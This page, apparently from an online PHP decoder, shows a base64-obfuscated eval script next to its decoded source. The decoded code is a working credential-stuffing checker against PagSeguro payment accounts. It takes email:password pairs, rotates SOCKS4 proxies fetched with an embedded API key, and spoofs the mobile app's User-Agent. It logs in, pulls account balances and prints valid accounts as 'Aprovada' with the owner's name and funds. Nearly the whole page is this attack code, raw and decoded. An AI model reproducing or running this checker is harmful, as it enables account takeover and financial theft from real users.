Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKD..

Decoded Output download

?>b'<?php
set_time_limit(0);
error_reporting(0);

$link = file_get_contents("https://api.getproxylist.com/proxy?apiKey=2769d07972701a1cb65b10f9565e205f3fcd463a&protocol=socks4&country=BR&lastTested=600");
$link2 = json_decode($link);
$link3 = $link2->ip;
$link4 = $link2->port;
$proxy = $link3.":".$link4;

class cURL {
    var $callback = false;
    function setCallback($func_name) {
        $this->callback = $func_name;
    }
    function doRequest($method, $url, $vars) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_NOBODY, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER[\'HTTP_USER_AGENT\']);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch,CURLOPT_HTTPHEADER,array(
        "Connection: keep-alive",
        "Accept: */*",
        "User-Agent: Minha Conta release/3.4.10 (br.com.uol.ps.myaccount; build:122; Android 5.1.1","Content-Type: application/json; charset=UTF-8"));
        curl_setopt($curl, CURLOPT_PROXY, $proxy);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 200);
        curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().\'/cookie.txt\');
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().\'/cookie.txt\');
        curl_setopt($ch, CURLOPT_VERBOSE, 1);
        if ($method == \'POST\') {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
        }
        $data = curl_exec($ch);
       // echo $data;
        curl_close($ch);

        if ($data) {
            if ($this->callback) {
                $callback = $this->callback;
                $this->callback = false;
                return call_user_func($callback, $data);
            } else {
                return $data;
            }
        } else {
            return curl_error($ch);
        }
    }
    function get($url) {
        return $this->doRequest(\'GET\', $url, \'NULL\');
    }
    function post($url, $vars) {
        return $this->doRequest(\'POST\', $url, $vars);
    }
}

function GetStr($string,$start,$end){
    $str = explode($start, $string);
    $str = explode($end, $str[1]);
    return $str[0];
}



$lista = $_GET["lista"];
$email = explode(":", $lista)[0];
$senha = explode(":", $lista)[1];


$a = new cURL();
            
$b = $a->post(\'https://mb.api.pagseguro.uol/auth\' ,  \'{"password":"\'.$senha.\'","userName":"\'.$email.\'"}\' );

$token = getStr($b,\'{"accessToken":"\',\'",\');

$ch = curl_init();
        curl_setopt($ch,CURLOPT_URL, \'https://mb.api.pagseguro.uol/balances\');
        $headers = array();
        $headers[] = "x-token: ".$token."";
        $headers[] = "User-Agent: Minha Conta release/3.4.10 (br.com.uol.ps.myaccount; build:122; Android 5.1.1)";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, \'Minha Conta release/3.4.10 (br.com.uol.ps.myaccount; build:122; Android 5.1.1)\');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        $result = curl_exec($ch);

if (file_exists(getcwd().\'/cookie.txt\')) {
            unlink(getcwd().\'/cookie.txt\');
        }


        $nome = GetStr($b, \'name":"\',\'",\');
        $tipo = GetStr($b, \'pagSeguroUserType":"\',\'",\');

        $disponivel = GetStr($result, \'{"balanceAvailable":"\',\'",\');
        $bloqueado = GetStr($result, \'balanceBlocked":"\',\'",\');
        $receber = GetStr($result, \'balanceReceivable":"\',\'",\');
        $acesso = GetStr($result, \'astUpdate":"\',\'",\');


        if (strpos($b, \'accessToken\')) { 


 echo "#Aprovada -> $email:$senha <br> Nome: $nome <br>  Tipo: $tipo <br> Saldo Disponvel: R$$disponivel <br> Saldo Bloqueado: R$$bloqueado <br> Saldo Receber R$$receber <br> ltimo Acesso: $acesso <br> Proxy: $proxy";
 
  

        }else{

echo "#Reprovada -> $email | $senha | [Proxy: $proxy]";



}
 
    


?>'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokbGluayA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwczovL2FwaS5nZXRwcm94eWxpc3QuY29tL3Byb3h5P2FwaUtleT0yNzY5ZDA3OTcyNzAxYTFjYjY1YjEwZjk1NjVlMjA1ZjNmY2Q0NjNhJnByb3RvY29sPXNvY2tzNCZjb3VudHJ5PUJSJmxhc3RUZXN0ZWQ9NjAwIik7DQokbGluazIgPSBqc29uX2RlY29kZSgkbGluayk7DQokbGluazMgPSAkbGluazItPmlwOw0KJGxpbms0ID0gJGxpbmsyLT5wb3J0Ow0KJHByb3h5ID0gJGxpbmszLiI6Ii4kbGluazQ7DQoNCmNsYXNzIGNVUkwgew0KICAgIHZhciAkY2FsbGJhY2sgPSBmYWxzZTsNCiAgICBmdW5jdGlvbiBzZXRDYWxsYmFjaygkZnVuY19uYW1lKSB7DQogICAgICAgICR0aGlzLT5jYWxsYmFjayA9ICRmdW5jX25hbWU7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRvUmVxdWVzdCgkbWV0aG9kLCAkdXJsLCAkdmFycykgew0KICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTk9CT0RZLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfSFRUUEhFQURFUixhcnJheSgNCiAgICAgICAgIkNvbm5lY3Rpb246IGtlZXAtYWxpdmUiLA0KICAgICAgICAiQWNjZXB0OiAqLyoiLA0KICAgICAgICAiVXNlci1BZ2VudDogTWluaGEgQ29udGEgcmVsZWFzZS8zLjQuMTAgKGJyLmNvbS51b2wucHMubXlhY2NvdW50OyBidWlsZDoxMjI7IEFuZHJvaWQgNS4xLjEiLCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9VVRGLTgiKSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1BST1hZLCAkcHJveHkpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFlUWVBFLCBDVVJMUFJPWFlfU09DS1M0KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDIwMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGdldGN3ZCgpLicvY29va2llLnR4dCcpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZ2V0Y3dkKCkuJy9jb29raWUudHh0Jyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9WRVJCT1NFLCAxKTsNCiAgICAgICAgaWYgKCRtZXRob2QgPT0gJ1BPU1QnKSB7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHZhcnMpOw0KICAgICAgICB9DQogICAgICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgLy8gZWNobyAkZGF0YTsNCiAgICAgICAgY3VybF9jbG9zZSgkY2gpOw0KDQogICAgICAgIGlmICgkZGF0YSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5jYWxsYmFjaykgew0KICAgICAgICAgICAgICAgICRjYWxsYmFjayA9ICR0aGlzLT5jYWxsYmFjazsNCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2FsbGJhY2sgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICByZXR1cm4gY2FsbF91c2VyX2Z1bmMoJGNhbGxiYWNrLCAkZGF0YSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIHJldHVybiAkZGF0YTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHJldHVybiBjdXJsX2Vycm9yKCRjaCk7DQogICAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gZ2V0KCR1cmwpIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5kb1JlcXVlc3QoJ0dFVCcsICR1cmwsICdOVUxMJyk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIHBvc3QoJHVybCwgJHZhcnMpIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5kb1JlcXVlc3QoJ1BPU1QnLCAkdXJsLCAkdmFycyk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBHZXRTdHIoJHN0cmluZywkc3RhcnQsJGVuZCl7DQogICAgJHN0ciA9IGV4cGxvZGUoJHN0YXJ0LCAkc3RyaW5nKTsNCiAgICAkc3RyID0gZXhwbG9kZSgkZW5kLCAkc3RyWzFdKTsNCiAgICByZXR1cm4gJHN0clswXTsNCn0NCg0KDQoNCiRsaXN0YSA9ICRfR0VUWyJsaXN0YSJdOw0KJGVtYWlsID0gZXhwbG9kZSgiOiIsICRsaXN0YSlbMF07DQokc2VuaGEgPSBleHBsb2RlKCI6IiwgJGxpc3RhKVsxXTsNCg0KDQokYSA9IG5ldyBjVVJMKCk7DQogICAgICAgICAgICANCiRiID0gJGEtPnBvc3QoJ2h0dHBzOi8vbWIuYXBpLnBhZ3NlZ3Vyby51b2wvYXV0aCcgLCAgJ3sicGFzc3dvcmQiOiInLiRzZW5oYS4nIiwidXNlck5hbWUiOiInLiRlbWFpbC4nIn0nICk7DQoNCiR0b2tlbiA9IGdldFN0cigkYiwneyJhY2Nlc3NUb2tlbiI6IicsJyIsJyk7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9VUkwsICdodHRwczovL21iLmFwaS5wYWdzZWd1cm8udW9sL2JhbGFuY2VzJyk7DQogICAgICAgICRoZWFkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgJGhlYWRlcnNbXSA9ICJ4LXRva2VuOiAiLiR0b2tlbi4iIjsNCiAgICAgICAgJGhlYWRlcnNbXSA9ICJVc2VyLUFnZW50OiBNaW5oYSBDb250YSByZWxlYXNlLzMuNC4xMCAoYnIuY29tLnVvbC5wcy5teWFjY291bnQ7IGJ1aWxkOjEyMjsgQW5kcm9pZCA1LjEuMSkiOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01pbmhhIENvbnRhIHJlbGVhc2UvMy40LjEwIChici5jb20udW9sLnBzLm15YWNjb3VudDsgYnVpbGQ6MTIyOyBBbmRyb2lkIDUuMS4xKScpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCiAgICAgICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KDQppZiAoZmlsZV9leGlzdHMoZ2V0Y3dkKCkuJy9jb29raWUudHh0JykpIHsNCiAgICAgICAgICAgIHVubGluayhnZXRjd2QoKS4nL2Nvb2tpZS50eHQnKTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgJG5vbWUgPSBHZXRTdHIoJGIsICduYW1lIjoiJywnIiwnKTsNCiAgICAgICAgJHRpcG8gPSBHZXRTdHIoJGIsICdwYWdTZWd1cm9Vc2VyVHlwZSI6IicsJyIsJyk7DQoNCiAgICAgICAgJGRpc3Bvbml2ZWwgPSBHZXRTdHIoJHJlc3VsdCwgJ3siYmFsYW5jZUF2YWlsYWJsZSI6IicsJyIsJyk7DQogICAgICAgICRibG9xdWVhZG8gPSBHZXRTdHIoJHJlc3VsdCwgJ2JhbGFuY2VCbG9ja2VkIjoiJywnIiwnKTsNCiAgICAgICAgJHJlY2ViZXIgPSBHZXRTdHIoJHJlc3VsdCwgJ2JhbGFuY2VSZWNlaXZhYmxlIjoiJywnIiwnKTsNCiAgICAgICAgJGFjZXNzbyA9IEdldFN0cigkcmVzdWx0LCAnYXN0VXBkYXRlIjoiJywnIiwnKTsNCg0KDQogICAgICAgIGlmIChzdHJwb3MoJGIsICdhY2Nlc3NUb2tlbicpKSB7IA0KDQoNCiBlY2hvICIjQXByb3ZhZGEgLT4gJGVtYWlsOiRzZW5oYSA8YnI+IE5vbWU6ICRub21lIDxicj4gIFRpcG86ICR0aXBvIDxicj4gU2FsZG8gRGlzcG9uw612ZWw6IFIkJGRpc3Bvbml2ZWwgPGJyPiBTYWxkbyBCbG9xdWVhZG86IFIkJGJsb3F1ZWFkbyA8YnI+IFNhbGRvIFJlY2ViZXIgUiQkcmVjZWJlciA8YnI+IMOabHRpbW8gQWNlc3NvOiAkYWNlc3NvIDxicj4gUHJveHk6ICRwcm94eSI7DQogDQogIA0KDQogICAgICAgIH1lbHNlew0KDQplY2hvICIjUmVwcm92YWRhIC0+ICRlbWFpbCB8ICRzZW5oYSB8IFtQcm94eTogJHByb3h5XSI7DQoNCg0KDQp9DQogDQogICAgDQoNCg0KPz4="));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 0bdf46578ee311ea5677166f735077de
Eval Count 1
Decode Time 88 ms